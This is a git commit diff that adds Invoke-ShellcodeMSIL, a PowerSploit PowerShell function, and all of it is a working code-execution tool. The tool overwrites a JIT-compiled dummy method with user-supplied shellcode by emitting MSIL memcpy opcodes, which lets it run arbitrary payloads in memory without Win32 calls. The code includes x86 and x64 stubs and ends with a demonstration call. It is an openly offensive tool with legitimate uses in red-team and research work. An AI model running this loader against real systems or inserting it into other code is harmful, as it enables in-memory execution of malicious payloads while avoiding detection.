Adding Invoke-ShellcodeMSIL

Invoke-ShellcodeMSIL executes shellcode without making any Win32
function calls.

1 files changed, 270 insertions, 0 deletions

diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1
new file mode 100644
index 0000000..8b70d7c
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+++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1
@@ -0,0 +1,270 @@
+function Invoke-ShellcodeMSIL
+{
+<#
+.SYNOPSIS
+
+    Execute shellcode within the context of the running PowerShell process without making any Win32 function calls.
+
+    PowerSploit Function: Invoke-ShellcodeMSIL
+    Author: Matthew Graeber (@mattifestation)
+    License: BSD 3-Clause
+    Required Dependencies: None
+    Optional Dependencies: None
+ 
+.DESCRIPTION
+
+    Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions.
+
+.PARAMETER Shellcode
+
+    Specifies the shellcode to be executed.
+
+.EXAMPLE
+
+    C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)
+
+    Description
+    -----------
+    Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET)
+    Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit!
+
+.NOTES
+
+    Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash!
+
+    Use the '-Verbose' option to print detailed information.
+
+.LINK
+
+    http://www.exploit-monday.com
+#>
+
+    [CmdletBinding()] Param (
+        [Parameter( Mandatory = $True )]
+        [ValidateNotNullOrEmpty()]
+        [Byte[]]
+        $Shellcode
+    )
+
+    function Get-MethodAddress
+    {
+        [CmdletBinding()] Param (
+            [Parameter(Mandatory = $True, ValueFromPipeline = $True)]
+            [System.Reflection.MethodInfo]
+            $MethodInfo
+        )
+
+        if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall')
+        {
+            Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address."
+        }
+
+        try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
+        {
+            if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] }
+
+            $Domain = [AppDomain]::CurrentDomain
+            $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly')
+            # Assemble in memory
+            $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+            $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule')
+            $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public)
+            # Declaration of the LeakMethod method
+            $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null)
+            $Generator = $MethodBuilder.GetILGenerator()
+
+            # Push unmanaged pointer to MethodInfo onto the evaluation stack
+            $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo)
+            $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
+
+            # Assemble everything
+            $Type = $TypeBuilder.CreateType()
+        }
+
+        $Method = $Type.GetMethod('LeakMethod')
+
+        try
+        {
+            # Call the method and return its JITed address
+            $Address = $Method.Invoke($null, @())
+
+            Write-Output (New-Object IntPtr -ArgumentList $Address)
+        }
+        catch [System.Management.Automation.MethodInvocationException]
+        {
+            Write-Error "$($MethodInfo.Name) cannot return an unmanaged address."
+        }
+    }
+
+#region Define the method that will perform the overwrite
+    try { $SmasherType =  [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
+    {
+        $Domain = [AppDomain]::CurrentDomain
+        $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher')
+        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+        $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
+        $Constructor = $Att.GetType().GetConstructors()[0]
+        $ObjectArray = New-Object System.Object[](0)
+        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+        $AssemblyBuilder.SetCustomAttribute($AttribBuilder)
+        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher')
+        $ModAtt = New-Object System.Security.UnverifiableCodeAttribute
+        $Constructor = $ModAtt.GetType().GetConstructors()[0]
+        $ObjectArray = New-Object System.Object[](0)
+        $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+        $ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
+        $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public)
+        $Params = New-Object System.Type[](3)
+        $Params[0] = [IntPtr]
+        $Params[1] = [IntPtr]
+        $Params[2] = [Int32]
+        $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params)
+        $Generator = $MethodBuilder.GetILGenerator()
+        # The following MSIL opcodes are effectively a memcpy
+        # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
+
+        $SmasherType = $TypeBuilder.CreateType()
+    }
+
+    $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod')
+#endregion
+
+#region Define the method that we're going to overwrite
+    try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined
+    {
+        $Domain = [AppDomain]::CurrentDomain
+        $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe')
+        $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
+        $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute
+        $Constructor = $Att.GetType().GetConstructors()[0]
+        $ObjectArray = New-Object System.Object[](0)
+        $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+        $AssemblyBuilder.SetCustomAttribute($AttribBuilder)
+        $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe')
+        $ModAtt = New-Object System.Security.UnverifiableCodeAttribute
+        $Constructor = $ModAtt.GetType().GetConstructors()[0]
+        $ObjectArray = New-Object System.Object[](0)
+        $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray)
+        $ModuleBuilder.SetCustomAttribute($ModAttribBuilder)
+        $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public)
+        $Params = New-Object System.Type[](1)
+        $Params[0] = [Int]
+        $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params)
+        $Generator = $MethodBuilder.GetILGenerator()
+        $XorValue = 0x41424344
+        $Generator.DeclareLocal([Int]) | Out-Null
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0)
+        # The following MSIL opcodes serve two purposes:
+        # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted
+        # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode.
+        foreach ($CodeBlock in 1..100)
+        {
+            $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
+            $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
+            $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0)
+            $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0)
+            $XorValue++
+        }
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor)
+        $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret)
+        $Type = $TypeBuilder.CreateType()
+    }
+
+    $TargetMethod = $Type.GetMethod('OverwriteMe')
+#endregion
+
+    # Force the target method to be JITed so that is can be cleanly overwritten
+    Write-Verbose 'Forcing target method to be JITed...'
+
+    foreach ($Exec in 1..20)
+    {
+        $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null
+    }
+
+    if ( [IntPtr]::Size -eq 4 )
+    {
+        # x86 Shellcode stub
+        $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3)
+        <#
+        00000000  60                pushad
+        00000001  E804000000        call dword 0xa
+        00000006  61                popad
+        00000007  31C0              xor eax,eax
+        00000009  C3                ret
+        YOUR SHELLCODE WILL BE PLACED HERE...
+        #>
+
+        Write-Verbose 'Preparing x86 shellcode...'
+    }
+    else
+    {
+        # x86_64 shellcode stub
+        $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57,
+                                     0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41,
+                                     0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48,
+                                     0x31,0xC0,0xC3)
+        <#
+        00000000  4154              push r12
+        00000002  4155              push r13
+        00000004  4156              push r14
+        00000006  4157              push r15
+        00000008  55                push rbp
+        00000009  E80D000000        call dword 0x1b
+        0000000E  5D                pop rbp
+        0000000F  415F              pop r15
+        00000011  415E              pop r14
+        00000013  415D              pop r13
+        00000015  415C              pop r12
+        00000017  4831C0            xor rax,rax
+        0000001A  C3                ret
+        YOUR SHELLCODE WILL BE PLACED HERE...
+        #>
+
+        Write-Verbose 'Preparing x86_64 shellcode...'
+    }
+
+    # Append user-provided shellcode.
+    $FinalShellcode += $Shellcode
+
+    # Allocate pinned memory for our shellcode
+    $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length)
+
+    Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))."
+
+    # Copy the original shellcode bytes into the pinned, unmanaged memory.
+    # Note: this region of memory if marked PAGE_READWRITE
+    [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length)
+
+    $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod)
+
+    Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))"
+    Write-Verbose 'Overwriting dummy method with the shellcode...'
+
+    $Arguments = New-Object Object[](3)
+    $Arguments[0] = $TargetMethodAddress
+    $Arguments[1] = $ShellcodeAddress
+    $Arguments[2] = $FinalShellcode.Length
+
+    # Overwrite the dummy method with the shellcode opcodes
+    $OverwriteMethod.Invoke($null, $Arguments)
+
+    Write-Verbose 'Executing shellcode...'
+
+    # 'Invoke' our shellcode >D
+    $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222))
+
+    if ($ShellcodeReturnValue -eq 0)
+    {
+        Write-Verbose 'Shellcode executed successfully!'
+    }
+}
+
+$Shellcode = [Byte[]]@(0x90,0x90,0x90,0x90,0x90,0x90,0xC3)
+Invoke-ShellcodeMSIL -Shellcode $Shellcode -Verbose
\ No newline at end of file